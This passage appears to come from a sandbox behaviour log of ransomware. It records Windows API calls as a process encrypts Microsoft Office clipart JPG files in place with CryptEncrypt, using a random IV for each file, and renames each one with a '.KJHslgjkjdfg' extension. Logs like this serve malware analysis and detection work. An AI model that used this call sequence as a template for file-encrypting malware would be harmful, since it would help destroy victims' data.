ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x17dee, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x17dee, lpOverlapped=0x0) returned 1 [0202.199] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x17df0, dwBufLen=0x17df0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x17df0) returned 1 [0202.200] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.200] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x17df0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x17df0, lpOverlapped=0x0) returned 1 [0202.201] CryptDestroyKey (hKey=0x9b6628) returned 1 [0202.201] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x17ec4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.201] SetEndOfFile (hFile=0x130) returned 1 [0202.204] GetProcessHeap () returned 0x990000 [0202.204] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0202.204] GetProcessHeap () returned 0x990000 [0202.204] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0202.204] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382963.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382963.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382963.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382963.jpg.kjhslgjkjdfg")) returned 1 [0202.206] CloseHandle (hObject=0x130) returned 1 [0202.206] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661fae90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1bb02, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0382965.JPG", cAlternateFileName="")) returned 1 [0202.206] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382965.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382965.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0202.208] GetProcessHeap () returned 0x990000 [0202.208] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0202.208] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0202.208] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0202.208] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xe, lpOverlapped=0x0) returned 1 [0202.211] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0202.211] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0202.211] GetProcessHeap () returned 0x990000 [0202.211] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0202.211] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0202.211] CryptDestroyKey (hKey=0x9b6628) returned 1 [0202.211] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0202.211] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0202.211] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0202.211] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0202.211] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0202.211] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0202.211] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0202.212] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0202.212] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.212] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1bb02, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1bb02, lpOverlapped=0x0) returned 1 [0202.214] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1bb10, dwBufLen=0x1bb10 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1bb10) returned 1 [0202.216] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.216] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1bb10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1bb10, lpOverlapped=0x0) returned 1 [0202.216] CryptDestroyKey (hKey=0x9b6628) returned 1 [0202.216] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1bbe4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.216] SetEndOfFile (hFile=0x130) returned 1 [0202.220] GetProcessHeap () returned 0x990000 [0202.220] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0202.220] GetProcessHeap () returned 0x990000 [0202.220] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0202.220] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382965.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382965.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382965.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382965.jpg.kjhslgjkjdfg")) returned 1 [0202.222] CloseHandle (hObject=0x130) returned 1 [0202.222] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56798470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x18888, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0382966.JPG", cAlternateFileName="")) returned 1 [0202.222] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382966.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382966.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0202.223] GetProcessHeap () returned 0x990000 [0202.223] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0202.223] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0202.223] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0202.223] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0202.226] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0202.226] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0202.226] GetProcessHeap () returned 0x990000 [0202.226] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0202.226] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0202.226] CryptDestroyKey (hKey=0x9b6628) returned 1 [0202.226] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0202.226] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0202.226] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0202.226] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0202.226] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0202.226] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0202.227] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0202.227] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0202.227] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.227] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x18888, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x18888, lpOverlapped=0x0) returned 1 [0202.229] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x18890, dwBufLen=0x18890 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x18890) returned 1 [0202.230] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.230] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x18890, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x18890, lpOverlapped=0x0) returned 1 [0202.231] CryptDestroyKey (hKey=0x9b6628) returned 1 [0202.231] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x18964, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.231] SetEndOfFile (hFile=0x130) returned 1 [0202.234] GetProcessHeap () returned 0x990000 [0202.234] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0202.234] GetProcessHeap () returned 0x990000 [0202.234] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0202.234] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382966.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382966.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382966.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382966.jpg.kjhslgjkjdfg")) returned 1 [0202.235] CloseHandle (hObject=0x130) returned 1 [0202.235] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x567be5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x16d08, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0382967.JPG", cAlternateFileName="")) returned 1 [0202.235] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382967.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382967.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0202.237] GetProcessHeap () returned 0x990000 [0202.237] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0202.237] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0202.237] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0202.237] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0202.240] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0202.240] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0202.240] GetProcessHeap () returned 0x990000 [0202.240] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0202.240] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0202.240] CryptDestroyKey (hKey=0x9b6628) returned 1 [0202.240] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0202.240] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0202.240] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0202.240] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0202.240] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0202.240] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0202.240] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0202.240] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0202.240] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.240] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x16d08, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x16d08, lpOverlapped=0x0) returned 1 [0202.242] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x16d10, dwBufLen=0x16d10 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x16d10) returned 1 [0202.243] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.243] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x16d10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x16d10, lpOverlapped=0x0) returned 1 [0202.244] CryptDestroyKey (hKey=0x9b6628) returned 1 [0202.244] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x16de4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.244] SetEndOfFile (hFile=0x130) returned 1 [0202.246] GetProcessHeap () returned 0x990000 [0202.247] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0202.247] GetProcessHeap () returned 0x990000 [0202.247] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0202.247] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382967.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382967.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382967.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382967.jpg.kjhslgjkjdfg")) returned 1 [0202.248] CloseHandle (hObject=0x130) returned 1 [0202.248] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661fae90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1b75f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0382968.JPG", cAlternateFileName="")) returned 1 [0202.248] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382968.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382968.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0202.249] GetProcessHeap () returned 0x990000 [0202.249] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0202.249] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0202.249] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0202.250] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x1, lpOverlapped=0x0) returned 1 [0202.251] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0202.251] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0202.252] GetProcessHeap () returned 0x990000 [0202.252] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0202.252] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0202.252] CryptDestroyKey (hKey=0x9b6628) returned 1 [0202.252] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0202.252] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0202.252] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0202.252] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0202.252] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0202.252] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0202.252] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0202.252] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0202.252] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.252] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1b75f, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1b75f, lpOverlapped=0x0) returned 1 [0202.254] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1b760, dwBufLen=0x1b760 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1b760) returned 1 [0202.255] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.255] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1b760, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1b760, lpOverlapped=0x0) returned 1 [0202.256] CryptDestroyKey (hKey=0x9b6628) returned 1 [0202.256] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1b834, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.256] SetEndOfFile (hFile=0x130) returned 1 [0202.259] GetProcessHeap () returned 0x990000 [0202.259] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0202.259] GetProcessHeap () returned 0x990000 [0202.259] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0202.259] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382968.JPG" (normalized: "c:\\program files\\microsoft 